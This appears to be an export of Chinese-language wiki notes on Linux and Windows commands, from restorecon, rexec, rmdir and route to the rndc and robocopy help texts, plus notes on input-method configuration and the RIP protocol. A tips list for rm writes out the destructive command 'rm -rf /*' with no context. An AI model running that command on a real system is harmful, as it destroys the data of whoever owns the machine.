-i:忽略不存在的文件。
-f:infilename 文件 infilename 中记录要处理的文件。
-e:directory 排除目录。
-R/-r:递归处理目录。
-n:不改变文件标签。
-o/outfilename:保存文件列表到 outfilename,在文件不正确情况下。
-v:将过程显示到屏幕上。
-F:强制恢复文件安全语境。
```

</div>

!! 实例  

:<div>


假设CentOS安装了apache,网页默认的主目录是`/var/www/html`,我们经常遇到这样的问题,在其他目录中创建了一个网页文件,然后用mv移动到网页默认目录`/var/www/html`中,但是在浏览器中却打不开这个文件,这很可能是因为这个文件的SELinux配置信息是继承原来那个目录的,与`/var/www/html`目录不同,使用mv移动的时候,这个SELinux配置信息也一起移动过来了,从而导致无法打开页面,具体请看下面的实例:

<pre style="color: rgb(0, 0, 0); font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; widows: auto; word-spacing: 0px; -webkit-text-stroke-width: 0px;">/*使用CentOS举例,如果默认没有安装apache,确保网络连接,使用下面的命令安装*/
[root@jsdig.com ~]# yum install httpd
 /*我们在root的家目录新建一个html文件*/
[root@jsdig.com ~]# pwd
/root

[root@jsdig.com ~]# vi index.html

/*随便输入一段文字,保存退出*/
welcome to www.jsdig.com

/*将这个文件mv到网页默认目录下*/
[root@jsdig.com ~]# mv index.html /var/www/html/

/*
 * 这个时候我们使用firefox浏览器输入127.0.0.1/index.html发现打不开,
 * 查看一下SELinux的日志文件,发现了下面这一段报错信息,从这个报错信息不难看出,
 * 进程httpd访问网页主目录中的index.html时被SELinux阻止,原因是因为,SELinux配置信息不正确,
 * 正确的SELinux配置信息应该是scontext=后面的部分,
 * 而index.html文件的SELinux配置信息却是tcontext=后面的部分,
 * 从tcontext=的第三段“admin_home_t”不难看出,这个文件的SELinux配置信息是root用户家目录的。
 */
type=AVC msg=audit(1378974214.610:465): avc:  denied  { open } for  pid=2359 comm="httpd" path="/var/www/html/index.html" dev="sda1" ino=1317685 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file

/*使用ls -Z也可以看出,文件和目录的SELinux信息不匹配*/
[root@jsdig.com html]# ls -Z /var/www/html/
.... unconfined_u:object_r:admin_home_t:s0 index.html

[root@jsdig.com html]# ls -Zd /var/www/html/
.... system_u:object_r:httpd_sys_content_t:s0 /var/www/html/

/*使用restorecon来恢复网页主目录中所有文件的SELinux配置信息(如果目标为一个目录,可以添加-R参数递归)*/
[root@jsdig.com html]# restorecon -R /var/www/html/
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
```bash
[root@vms01 ~]# echo 123456| rev
654321

```
!!简介
:<div>
rexec
===

运程执行Linux系统下命令 

</div>

!! 补充说明

:<div>


"rexec命令" 用于在指定的远程Linux系统主机上执行命令,向远程rexec服务器发出执行命令的请求。

rexec命令通过检查`$HOME/.netrc`文件(包含远程主机上使用的用户名和密码)来提供自动登录的功能。如果没有发现此类项或系统在安全方式下操作(参阅 securetcpip 命令),rexec命令提示输入一个远程主机的有效用户名和密码。这两种情况下,rexec均导致远程系统上的rexecd使用缺省的compat用户登录认证方法。rexecd不会为了备用的认证方法去查找`/etc/security/user`文件。也可以指定`-n`标志到rexec命令行上来重设自动登录功能。

</div>

!! 语法  

:<div>


```
rexec(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:表示远程命令的标准错误与标准输出相同,不支持发送任意信号到远程进程;
-l<用户名>:指定连接远程rexec服务器的用户名;
-p<密码>:指定连接远程rexec服务器的密码;
-n:明确地提示输入用户名和密码。
```

</div>

!! 参数  

:<div>


*   远程主机:指定远程主机(ip地址或主机名);
*   命令:指定需要在远程主机上执行的命令。

</div>

!! 实例  

:<div>


要在一个远程主机上执行date命令,输入:

```
rexec host1 date
```

date命令的输出现在显示在本地系统上。本示例中,在本地主机上的`$HOME/.netrc`文件包含远程主机上有效的用户名和密码。如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示输入登录标识和密码。输入所要求的登录信息后,date命令的输出显示在本地系统上。

要重设自动登录功能并执行远程主机上的date命令,输入:

```
rexec -nhost1 date
```

出现提示时输入用户名和密码,date命令的输出现在显示在本地系统上。

列出远程主机上另一个用户的目录,输入:

```
rexec host1 ls -l /home/karen
```

在远程主机host1上的karen 用户的目录列表显示在本地系统上。

如果没有远程主机的`$HOME/.netrc`文件中的有效项,将提示您输入登录标识和密码。输入要求的登录信息后,在远程主机host1上的karen用户的目录列表显示在本地系统上。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!install
<div>

```bash
sudo apt install ibus-rime
sudo apt install librime-data-pinyin-simp
sudo apt-get install librime-data-luna-pinyin
```
</div>


!tips
:<pre>
;常用快捷键
:<div>
输入法打开情况下,按 F4 或 Ctrl+~ 或 Ctrl+Shift+~ 可打开输入方案选择菜单。

输入法打开情况下,按 Ctrl+. 可切换标点符号的半/全角。

输入法打开情况下,按 Ctrl+空格 可切换半/全角。
</div>


;小狼毫用户文件夹
:<div>
配置文件都在这里,包括词库等内容。

可用开始菜单中的小狼毫输入法下的【小狼毫】用户文件夹来找到它的位置。

通常在用户目录下的【用户名】\AppData\Roaming\Rime。
</div>


;懒人包
:<div>

懒人包是那种把常用的词库与配置都调理妥当后压缩成的打包文件。

可直接下载来后,解开放置到用户文件夹,重新部署即可完成词库扩充与大部分配置工作。

推荐的有:

  https://bintray.com/rime-aca/dictionaries/luna_pinyin.dict/view/general

</div>

;横排候选词
:<div>
打开小狼毫用户文件夹,新建或编辑weasel.custom.yaml文件。

找到patch:段内容,增加以下:



  "style/horizontal": true



重新部署生效。
</div>


;增加符号功能
:<div>
打开小狼毫用户文件夹,看看有没有一个symbols.yaml文件,这其中是符号的定义(小狼毫自带)。

定位需要增加符号输入功能的对应输入法配置文件,比如:用明月拼音的话,就是luna_pinyin.custom.yaml。

找到这个配置文件中的patch:段内容,增加以下:



  #导入标点及特殊表情

  "punctuator/import_preset": symbols

  "recognizer/patterns/punct": "^/([a-z]+|[0-9])$"



另一种写法是:



  "recognizer/patterns/punct": "^/[a-z0-9][a-z]*$"



这是识别输入符号的正则表达式。

重新部署生效。



用/fh输入常用符号

用/bq输入表情符号

用/jt输入箭头符号,如:←、→、↑、↓等。

用/sx输入数学符号,如:∈、∑、∞等。

用/hb输入货币符号,如:¥、£等。

用/hzq输入带圈文字,如:一、二、三等。



;参考:

  http://tieba.baidu.com/p/2828656448

  http://wangqingzi.com/weasel-custom.html

</div>

;简化常用标点的输入

:<div>
小狼毫的默认配置会将一些符号绑定在常用的按键上,如:将 ["《", "〈", "?", "?"] 作为 < 按键的候选,导致需要按2次键才能输入《。

如果想回到通常的标点输入,打开小狼毫用户文件夹。

定位需要增加符号输入功能的对应输入法配置文件,比如:用明月拼音的话,就是luna_pinyin.custom.yaml。

找到这个配置文件中的patch:段内容,增加以下:



  punctuator:

    half_shape:

      "[": "【"

      "]":  "】"

      "{": "{"

      "}": "}"

      '\': "、"

      ',' : { commit: , }

      '.' : { commit: 。 }

      '(' : (

      ')' : )

      "*": "*"

      "=": "="

      "<": "《"

      ">": "》"

      "@": "@"

      "$": "$"

      "#": "#"

      "~": "~"

      "%": "%"

      "|": "|"



这是对半角模式下的符号输入自定义。

重新部署生效。
</div>


;自定义短语
:<div>

通过自定义短语,可实现自己需要的特殊短语定义,融合在大词库中。

也可实现如:sjt首选↑这种方便的符号快捷输入。

打开小狼毫用户文件夹,新建或编辑custom_phrase.txt,注意要用UTF-8编码方式。

每行一个自定义条目,各字段以制表符(Tab)分隔。

顺序为:文字、编码、权重(决定重码的次序,可选)。

如果想要固定首位,则将权重指定得很大,如:99999。

推荐增加的条目:



← zjt 99999

→ yjt 99999

↑ sjt 99999

↓ xjt 99999

× dc 99999

√ dg 99999



* 请注意,以上条目的分隔符为Tab键,但LOFTER会将Tab转换为空格,所以还需要自行修改。

无需重新部署,直接生效。

参考:

  https://www.v2ex.com/t/288055

  https://gist.github.com/lotem/5440677

</div>

;自己的懒人包
:<div>
根据配置文件修改的情况,复制以下文件:



weasel.custom.yaml

luna_pinyin.custom.yaml

custom_phrase.txt



出来,拷贝到需要配置的新主机上,粘贴到【小狼毫】用户文件夹并重新部署即可。

建议在使用字库懒人包后再应用自己的懒人包。
</div>


;P.S.
:<div>
如果想控制用SHIFT键切换中问到英文输入模式时,已键入内容直接上屏(而不是转换成中文),可编辑用户文件夹中的default.custom.yaml,增加以下内容到patch部分:

  "ascii_composer/switch_key":
    Shift_L: commit_code
    Shift_R: commit_code

重新部署后生效。

</div>
</pre>
---

!1.1  简介
RIP(Routing Information Protocol,路由信息协议)是一种较为简单的内部网关协议(Interior Gateway Protocol,IGP),主要用于规模较小的网络中,比如校园网以及结构较简单的地区性网络。对于更为复杂的环境和大型网络,一般不使用RIP。

由于RIP的实现较为简单,在配置和维护管理方面也远比OSPF和IS-IS容易,因此在实际组网中仍有广泛的应用。

!!1.1.1  RIP工作机制
!!!1. RIP的基本概念
RIP是一种基于距离矢量(Distance-Vector,D-V)算法的协议,它通过UDP报文进行路由信息的交换,使用的端口号为520。

RIP使用跳数来衡量到达目的地址的距离,跳数称为度量值。在RIP中,路由器到与它直接相连网络的跳数为0,通过一个路由器可达的网络的跳数为1,其余依此类推。为限制收敛时间,RIP规定度量值取0~15之间的整数,大于或等于16的跳数被定义为无穷大,即目的网络或主机不可达。由于这个限制,使得RIP不适合应用于大型网络。

为提高性能,防止产生路由环路,RIP支持水平分割(Split Horizon)和毒性逆转(Poison Reverse)功能。

!!!2. RIP的路由数据库
每个运行RIP的路由器管理一个路由数据库,该路由数据库包含了到所有可达目的地的路由项,这些路由项包含下列信息:

·              目的地址:主机或网络的地址。

·              下一跳地址:为到达目的地,需要经过的相邻路由器的接口IP地址。

·              出接口:本路由器转发报文的出接口。

·              度量值:本路由器到达目的地的开销。

·              路由时间:从路由项最后一次被更新到现在所经过的时间,路由项每次被更新时,路由时间重置为0。

·              路由标记(Route Tag):用于标识外部路由,在路由策略中可根据路由标记对路由信息进行灵活的控制。关于路由策略的详细信息,请参见“三层技术-IP路由配置指导”中的“路由策略”。

!!!3. RIP定时器
RIP受四个定时器的控制,分别是Update、Timeout、Suppress和Garbage-Collect。

·              Update定时器,定义了发送路由更新的时间间隔。

·              Timeout定时器,定义了路由老化时间。如果在老化时间内没有收到关于某条路由的更新报文,则该条路由在路由表中的度量值将会被设置为16。

·              Suppress定时器,定义了RIP路由处于抑制状态的时长。当一条路由的度量值变为16时,该路由将进入抑制状态。在被抑制状态,只有来自同一邻居且度量值小于16的路由更新才会被路由器接收,取代不可达路由。

·              Garbage-Collect定时器,定义了一条路由从度量值变为16开始,直到它从路由表里被删除所经过的时间。在Garbage-Collect时间内,RIP以16作为度量值向外发送这条路由的更新,如果Garbage-Collect超时,该路由仍没有得到更新,则该路由将从路由表中被彻底删除。

!!!4. 防止路由环路
RIP是一种基于D-V算法的路由协议,由于它向邻居通告的是自己的路由表,存在发生路由环路的可能性。

RIP通过以下机制来避免路由环路的产生:

·              计数到无穷(Counting to infinity):将度量值等于16的路由定义为不可达(infinity)。在路由环路发生时,某条路由的度量值将会增加到16,该路由被认为不可达。

·              水平分割(Split Horizon):RIP从某个接口学到的路由,不会从该接口再发回给邻居路由器。这样不但减少了带宽消耗,还可以防止路由环路。

·              毒性逆转(Poison Reverse):RIP从某个接口学到路由后,将该路由的度量值设置为16(不可达),并从原接口发回邻居路由器。利用这种方式,可以清除对方路由表中的无用信息。

·              触发更新(Triggered Updates):RIP通过触发更新来避免在多个路由器之间形成路由环路的可能,而且可以加速网络的收敛速度。一旦某条路由的度量值发生了变化,就立刻向邻居路由器发布更新报文,而不是等到更新周期的到来。

!!1.1.2  RIP的启动和运行过程
RIP启动和运行的整个过程可描述如下:

·              路由器启动RIP后,便会向相邻的路由器发送请求报文(Request message),相邻的RIP路由器收到请求报文后,响应该请求,回送包含本地路由表信息的响应报文(Response message)。

·              路由器收到响应报文后,更新本地路由表,同时向相邻路由器发送触发更新报文,通告路由更新信息。相邻路由器收到触发更新报文后,又向其各自的相邻路由器发送触发更新报文。在一连串的触发更新广播后,各路由器都能得到并保持最新的路由信息。

·              RIP在缺省情况下每隔30秒向相邻路由器发送本地路由表,运行RIP协议的相邻路由器在收到报文后,对本地路由进行维护,选择一条最佳路由,再向其各自相邻网络发送更新信息,使更新的路由最终能达到全局有效。同时,RIP采用老化机制对超时的路由进行老化处理,以保证路由的实时性和有效性。
!!简介
:<div>
rlogin
===

从当前终端登录到远程Linux主机

</div>

!! 补充说明

:<div>


"rlogin命令" 用于从当前终端登录到远程Linux主机。

</div>

!! 语法  

:<div>


```
rlogin(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-8:允许输入8位字符数据;
-e脱离字符>:设置脱离字符;
-E:滤除脱离字符;
-l用户名称>:指定要登入远端主机的用户名称;
-L:使用litout模式进行远端登入阶段操作。
```

</div>

!! 参数  

:<div>


远程主机:指定要登录的远程主机(ip地址或者域名)。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
* tips
    ** root 别名
    ** 递归
    ** rm -rf /*
!!简介
:<div>
rmdir
===

用来删除空目录

</div>

!! 补充说明

:<div>


"rmdir命令" 用来删除空目录。当目录不再被使用时,或者磁盘空间已到达使用限定值,就需要删除失去使用价值的目录。利用rmdir命令可以从一个目录中删除一个或多个空的子目录。该命令从一个目录中删除一个或多个子目录,其中dirname佬表示目录名。如果dirname中没有指定路径,则删除当前目录下由dirname指定的目录;如dirname中包含路径,则删除指定位置的目录。删除目录时,必须具有对其父目录的写权限。

注意:子目录被删除之前应该是空目录。就是说,该目录中的所有文件必须用rm命令全部,另外,当前工作目录必须在被删除目录之上,不能是被删除目录本身,也不能是被删除目录的子目录。

虽然还可以用带有`-r`选项的rm命令递归删除一个目录中的所有文件和该目录本身,但是这样做存在很大的危险性。

</div>

!! 语法  

:<div>


```
rmdir(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-f 非空目录
-p 反向递归删除
   不删除挂载点
-p或--parents:删除指定目录后,若该目录的上层目录已变成空目录,则将其一并删除;
--ignore-fail-on-non-empty:此选项使rmdir命令忽略由于删除非空目录时导致的错误信息;
-v或-verboes:显示命令的详细执行过程;
--help:显示命令的帮助信息;
--version:显示命令的版本信息。
```

</div>

!! 参数  

:<div>


目录列表:要删除的空目录列表。当删除多个空目录时,目录名之间使用空格隔开。

</div>

!! 实例  

:<div>


将工作目录下,名为 `www` 的子目录删除 :

```bash
rmdir www
```

在工作目录下的 www 目录中,删除名为 Test 的子目录。若 Test 删除后,www 目录成为空目录,则 www 亦予删除。

```bash
rmdir -p www/Test
```

下面命令等价于 `rmdir a/b/c`, `rmdir a/b`, `rmdir a`

```bash
rmdir -p a/b/c
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 01. 描述
:<div>

rmmod命令用于从当前运行的内核中移除指定的内核模块。执行rmmod指令,可删除不需要的模块。Linux操作系统的核心具有模块化的特性,应此在编译核心时,务须把全部的功能都放如核心。你可以将这些功能编译成一个个单独的模块,待有需要时再分别载入它们。
</div>


! 02. 选项
:<div>

```
-v:显示指令执行的详细信息;
-f:强制移除模块,使用此选项比较危险;
-w:等待着,直到模块能够被除时在移除模块;
-s:向系统日志(syslog)发送错误信息。
```
</div>


!03. 实例 
:<div>

用rmmod命令主要用于卸载正在使用的Linux内核模块,与modprobe -r命令相似,如下所示:

```bash
[root@localhost boot]# lsmod | grep raid1
raid1                  25153  0

[root@localhost boot]# rmmod raid1
[root@localhost boot]# lsmod | grep raid1
```
</div>
!help 
:<div>

```bash
Usage: rndc [-b address] [-c config] [-s server] [-p port]
        [-k key-file ] [-y key] [-V] command

command is one of the following:

  reload        #Reload configuration file and zones.
  reload zone [class [view]]
                #Reload a single zone.
  refresh zone [class [view]]
                #Schedule immediate maintenance for a zone.
  retransfer zone [class [view]]
                #Retransfer a single zone without checking serial number.
  freeze        #Suspend updates to all dynamic zones.
  freeze zone [class [view]]
                #Suspend updates to a dynamic zone.
  thaw          #Enable updates to all dynamic zones and reload them.
  thaw zone [class [view]]
                #Enable updates to a frozen dynamic zone and reload it.
  sync [-clean] #Dump changes to all dynamic zones to disk, and optionally
                #remove their journal files.
  sync [-clean] zone [class [view]]
                #Dump a single zone's changes to disk, and optionally
                #remove its journal file.
  notify zone [class [view]]
                #Resend NOTIFY messages for the zone.
  reconfig      #Reload configuration file and new zones only.
  sign zone [class [view]]
                #Update zone keys, and sign as needed.
  loadkeys zone [class [view]]
                #Update keys without signing immediately.
  stats         #Write server statistics to the statistics file.
  querylog newstate
                #Enable / disable query logging.
  dumpdb [-all|-cache|-zones] [view ...]
                #Dump cache(s) to the dump file (named_dump.db).
secroots [view ...]
                #Write security roots to the secroots file.
  stop          #Save pending updates to master files and stop the server.
  stop -p       #Save pending updates to master files and stop the server
                #reporting process id.
  halt          #Stop the server without saving pending updates.
  halt -p       #Stop the server without saving pending updates reporting
                #process id.
  trace         #Increment debugging level by one.
  trace level   #Change the debugging level.
  notrace       #Set debugging level to 0.
  flush         #Flushes all of the server's caches.
  flush [view]  #Flushes the server's cache for a view.
  flushname name [view]
                #Flush the given name from the server's cache(s)
  flushtree name [view]
                #Flush all names under the given name from the server's cache(s)
  status        #Display status of the server.
  recursing     #Dump the queries that are currently recursing (named.recursing)
  tsig-list     #List all currently active TSIG keys, including both statically
                #configured and TKEY-negotiated keys.
  tsig-delete keyname [view]
                #Delete a TKEY-negotiated TSIG key.
  validation newstate [view]
                #Enable / disable DNSSEC validation.
  nta [-lifetime duration] [-force] domain [view]
                #Set a negative trust anchor, disabling DNSSEC validation
                #for the given domain.
                #Using -lifetime specifies the duration of the NTA, up
                #to one day.
                #Using -force prevents the NTA from expiring before its
                #full lifetime, even if the domain can validate sooner.
  nta -remove domain [view]
                #Remove a negative trust anchor, re-enabling validation
                #for the given domain.
  nta -dump
                #List all negative trust anchors.
  addzone ["file"] zone [class [view]] { zone-options }
                #Add zone to given view. Requires new-zone-file option.
  delzone ["file"] zone [class [view]]
                #Removes zone from given view. Requires new-zone-file option.
  scan          #Scan available network interfaces for changes.
  signing -list zone [class [view]]
                #List the private records showing the state of DNSSEC
                #signing in the given zone.
  signing -clear <keyid>/<algorithm> zone [class [view]]
                #Remove the private record that indicating the given key
                #has finished signing the given zone.
  signing -clear all zone [class [view]]
                #Remove the private records for all keys that have
                #finished signing the given zone.
  signing -nsec3param none zone [class [view]]
                #Remove NSEC3 chains from zone.
  signing -nsec3param hash flags iterations salt zone [class [view]]
                #Add NSEC3 chain to zone if already signed.
                #Prime zone with NSEC3 chain if not yet signed.
  *restart      #Restart the server.

* == not yet implemented
Version: 9.9.4-RedHat-9.9.4-72.el7
```
</div>
* help<pre>
PS C:\Users\john> robocopy /?

-------------------------------------------------------------------------------
   ROBOCOPY     ::     Windows 的可靠文件复制
-------------------------------------------------------------------------------

  开始时间: 2018年9月18日 15:28:42
               用法 :: ROBOCOPY source destination [file [file]...] [options]

                 源 :: 源目录(驱动器:\路径或\\服务器\共享\路径)。
               目标 :: 目标目录(驱动器:\路径或\\服务器\共享\路径)。
               文件 :: 要复制的文件(名称/通配符: 默认为 "*.*")。

::
:: 复制选项:
::
                 /S :: 复制子目录,但不复制空的子目录。
                 /E :: 复制子目录,包括空的子目录。
             /LEV:n :: 仅复制源目录树的前 n 层。

                 /Z :: 在可重新启动模式下复制文件。
                 /B :: 在备份模式下复制文件。
                /ZB :: 使用可重新启动模式;如果拒绝访问,请使用备份模式。
                 /J :: 复制时使用未缓冲的 I/O (推荐在复制大文件时使用)。
            /EFSRAW :: 在 EFS RAW 模式下复制所有加密的文件。

      /COPY:复制标记:: 要复制的文件内容(默认为 /COPY:DAT)。
                       (复制标记: D=数据,A=属性,T=时间戳)。
                       (S=安全=NTFS ACL,O=所有者信息,U=审核信息)。


               /SEC :: 复制具有安全性的文件(等同于 /COPY:DATS)。
           /COPYALL :: 复制所有文件信息(等同于 /COPY:DATSOU)。
            /NOCOPY :: 不复制任何文件信息(与 /PURGE 一起使用)。
            /SECFIX :: 修复所有文件的文件安全性,即使是跳过的文件。
            /TIMFIX :: 修复所有文件的文件时间,即使是跳过的文件。

             /PURGE :: 删除源中不再存在的目标文件/目录。
               /MIR :: 镜像目录树(等同于 /E 加 /PURGE)。

               /MOV :: 移动文件(复制后从源中删除)。
              /MOVE :: 移动文件和目录(复制后从源中删除)。

     /A+:[RASHCNET] :: 将给定的属性添加到复制的文件。
     /A-:[RASHCNET] :: 从复制的文件中删除给定的属性。

            /CREATE :: 仅创建目录树和长度为零的文件。
               /FAT :: 仅使用 8.3 FAT 文件名创建目标文件。
               /256 :: 关闭超长路径(> 256 个字符)支持。

             /MON:n :: 监视源;发现多于 n 个更改时再次运行。
             /MOT:m :: 监视源;如果更改,在 m 分钟时间后再次运行。

      /RH:hhmm-hhmm :: 可以启动新的复制时运行的小时数 - 时间。
                /PF :: 基于每个文件(而不是每个步骤)来检查运行小时数。

             /IPG:n :: 程序包间的间距(ms),以释放低速线路上的带宽。

                /SL :: 对照目标复制符号链接。

            /MT[:n] :: 使用 n 个线程进行多线程复制(默认值为 8)。
                       n 必须至少为 1,但不得大于 128。
                       该选项与 /IPG 和 /EFSRAW 选项不兼容。
                       使用 /LOG 选项重定向输出以便获得最佳性能。

 /DCOPY:复制标记:: 要复制的目录内容(默认为 /DCOPY:DA)。
                       (复制标记: D=数据,A=属性,T=时间戳)。

           /NODCOPY :: 不复制任何目录信息(默认情况下,执行 /DCOPY:DA)。

         /NOOFFLOAD :: 在不使用 Windows 复制卸载机制的情况下复制文件。

::
:: 文件选择选项:
::
                 /A :: 仅复制具有存档属性集的文件。
                 /M :: 仅复制具有存档属性的文件并重置存档属性。
    /IA:[RASHCNETO] :: 仅包含具有任意给定属性集的文件。
    /XA:[RASHCNETO] :: 排除具有任意给定属性集的文件。

  /XF 文件[文件]... :: 排除与给定名称/路径/通配符匹配的文件。
  /XD 目录[目录]... :: 排除与给定名称/路径匹配的目录。

                /XC :: 排除已更改的文件。
                /XN :: 排除较新的文件。
                /XO :: 排除较旧的文件。
                /XX :: 排除多余的文件和目录。
                /XL :: 排除孤立的文件和目录。
                /IS :: 包含相同文件。
                /IT :: 包含已调整的文件。

             /MAX:n :: 最大的文件大小 - 排除大于 n 字节的文件。
             /MIN:n :: 最小的文件大小 - 排除小于 n 字节的文件。

          /MAXAGE:n :: 最长的文件存在时间 - 排除早于 n 天/日期的文件。
          /MINAGE:n :: 最短的文件存在时间 - 排除晚于 n 天/日期的文件。
          /MAXLAD:n :: 最大的最后访问日期 - 排除自 n 以来未使用的文件。
          /MINLAD:n :: 最小的最后访问日期 - 排除自 n 以来使用的文件。
                       (If n < 1900 then n = n days, else n = YYYYMMDD date)。

                /XJ :: 排除接合点和符号链接。(默认情况下通常包括)。

               /FFT :: 假设 FAT 文件时间(2 秒粒度)。
               /DST :: 弥补 1 小时的 DST 时间差。

               /XJD :: 排除目录的接合点和符号链接。
               /XJF :: 排除文件的符号链接。

::
:: 重试选项:
::
               /R:n :: 失败副本的重试次数: 默认为 1 百万。
               /W:n :: 两次重试间的等待时间: 默认为 30 秒。

               /REG :: 将注册表中的 /R:n 和 /W:n 保存为默认设置。

               /TBD :: 等待定义共享名称(重试错误 67)。

::
:: 日志记录选项:
::
                 /L :: 仅列出 - 不复制、添加时间戳或删除任何文件。
                 /X :: 报告所有多余的文件,而不只是选中的文件。
                 /V :: 生成详细输出,同时显示跳过的文件。
                /TS :: 在输出中包含源文件的时间戳。
                /FP :: 在输出中包含文件的完整路径名称。
             /BYTES :: 以字节打印大小。

                /NS :: 无大小 - 不记录文件大小。
                /NC :: 无类别 - 不记录文件类别。
               /NFL :: 无文件列表 - 不记录文件名。
               /NDL :: 无目录列表 - 不记录目录名称。

                /NP :: 无进度 - 不显示已复制的百分比。
               /ETA :: 显示复制文件的预期到达时间。

          /LOG:文件 :: 将状态输出到日志文件(覆盖现有日志)。
         /LOG+:文件 :: 将状态输出到日志文件(附加到现有日志中)。

       /UNILOG:文件 :: 以 UNICODE 方式将状态输出到日志文件(覆盖现有日志)。
      /UNILOG+:文件 :: 以 UNICODE 方式将状态输出到日志文件(附加到现有日志中)。

               /TEE :: 输出到控制台窗口和日志文件。

               /NJH :: 没有作业标头。
               /NJS :: 没有作业摘要。

           /UNICODE :: 以 UNICODE 方式输出状态。

::
:: 作业选项 :
::
      /JOB:作业名称 :: 从命名的作业文件中提取参数。
     /SAVE:作业名称 :: 将参数保存到命名的作业文件
              /QUIT :: 处理命令行后退出(以查看参数)。
              /NOSD :: 未指定源目录。
              /NODD :: 未指定目标目录。
                /IF :: 包含以下文件。

::
:: 备注:
::
       以前在卷的根目录上使用 /PURGE 或 /MIR 导致
       robocopy 也对“系统卷信息”目录内的
       文件应用所请求的操作。现在不再是这种情形;如果
       指定了任何一项,则 robocopy 将跳过
       复制会话简要源目录和目标目录中具有该名称的任何文件或目录。

</pre>
''route''命令用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。要实现两个不同的子网之间的通信,需要一台连接两个网络的路由器,或者同时位于两个网络的网关来实现。

在Linux系统中设置路由通常是为了解决以下问题:该Linux系统在一个局域网中,局域网中有一个网关,能够让机器访问Internet,那么就需要将这台机器的ip地址设置为Linux机器的默认路由。要注意的是,直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来保证该路由设置永久有效。

;选项
:<pre>

-A:设置地址类型;
-C:打印将Linux核心的路由缓存;
-v:详细信息模式;
-n:不执行DNS反向查找,直接显示数字形式的IP地址;
-e:netstat格式显示路由表;
-net:到一个网络的路由表;
-host:到一个主机的路由表。
</pre>

;参数
:<pre>

Add:增加指定的路由记录;
Del:删除指定的路由记录;
Target:目的网络或目的主机;
gw:设置默认网关;
mss:设置TCP的最大区块长度(MSS),单位MB;
window:指定通过路由表的TCP连接的TCP窗口大小;
dev:路由记录所表示的网络接口。
</pre>

!实例
;显示当前路由:
:<pre>

```bash

[root@localhost ~]# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
112.124.12.0    *               255.255.252.0   U     0      0        0 eth1
10.160.0.0      *               255.255.240.0   U     0      0        0 eth0
192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
default         112.124.15.247  0.0.0.0         UG    0      0        0 eth1

[root@localhost ~]# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
112.124.12.0    0.0.0.0         255.255.252.0   U     0      0        0 eth1
10.160.0.0      0.0.0.0         255.255.240.0   U     0      0        0 eth0
192.168.0.0     10.160.15.247   255.255.0.0     UG    0      0        0 eth0
172.16.0.0      10.160.15.247   255.240.0.0     UG    0      0        0 eth0
10.0.0.0        10.160.15.247   255.0.0.0       UG    0      0        0 eth0
0.0.0.0         112.124.15.247  0.0.0.0         UG    0      0        0 eth1

```

其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:

*U Up表示此路由当前为启动状态。
*H Host,表示此网关为一主机。
*G Gateway,表示此网关为一路由器。
*R Reinstate Route,使用动态路由重新初始化的路由。
*D Dynamically,此路由是动态性地写入。
*M Modified,此路由是由路由守护程序或导向器动态修改。
*! 表示此路由当前为关闭状态。
</pre>
;添加网关/设置网关
:<pre>

```bash
route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0    #增加一条到达244.0.0.0的路由。
```
</pre>

;屏蔽一条路由:
:<pre>

```bash

route add -net 224.0.0.0 netmask 240.0.0.0 reject     #增加一条屏蔽的路由,目的地址为224.x.x.x将被拒绝。
```
</pre>
;删除路由记录:
:<pre>

```bash
route del -net 224.0.0.0 netmask 240.0.0.0
route del -net 224.0.0.0 netmask 240.0.0.0 reject
```
</pre>
;删除和添加设置默认网关:
:<pre>

```bash
route del default gw 192.168.120.240
route add default gw 192.168.120.240
```
</pre>

! EXP
:<pre>

```bash

# To display routing table IP addresses instead of host names:
route -n

# To add a default gateway:
route add default gateway 192.168.0.1

# To add the normal loopback entry, using netmask 255.0.0.0 and associated with the "lo" device (assuming this device was previously set up correctly with ifconfig(8)).
route add -net 127.0.0.0 netmask 255.0.0.0 dev lo

# To add a route to the local network 192.56.76.x via "eth0".  The word "dev" can be omitted here.
route add -net 192.56.76.0 netmask 255.255.255.0 dev eth0

# To delete the current default route, which is labeled "default" or 0.0.0.0 in the destination field of the current routing table.
route del default

# To add a default  route (which will be used if no other route matches).  All packets using this route will be gatewayed through "mango-gw". The device which will actually be used for that route depends on how we can reach "mango-gw" - the static route to "mango-gw" will have to be set up before.
route add default gw mango-gw

# To add the route to the "ipx4" host via the SLIP interface (assuming that "ipx4" is the SLIP host).
route add ipx4 sl0

# To add the net "192.57.66.x" to be gateway through the former route to the SLIP interface.
route add -net 192.57.66.0 netmask 255.255.255.0 gw ipx4

# To install a rejecting route for the private network "10.x.x.x."
route add -net 10.0.0.0 netmask 255.0.0.0 reject

# This is an obscure one documented so people know how to do it. This sets all of the class D (multicast) IP routes to go via "eth0". This is the correct normal configuration line with a multicasting kernel
route add -net 224.0.0.0 netmask 240.0.0.0 dev eth0
```
</pre>
```bash
#查询已安装包包含的脚本
rpm -q --scripts <pkg>
#查询包
rpm -qf /usr/sbin/hwclock 
#查询包中有哪些文件
rpm -qf /usr/sbin/hwclock | xargs rpm -ql {}
#查看包xinxi
rpm -qi kernel
#
which $1 | xargs rpm -qf {}
```
!!简介
:<div>
rpm2cpio
===

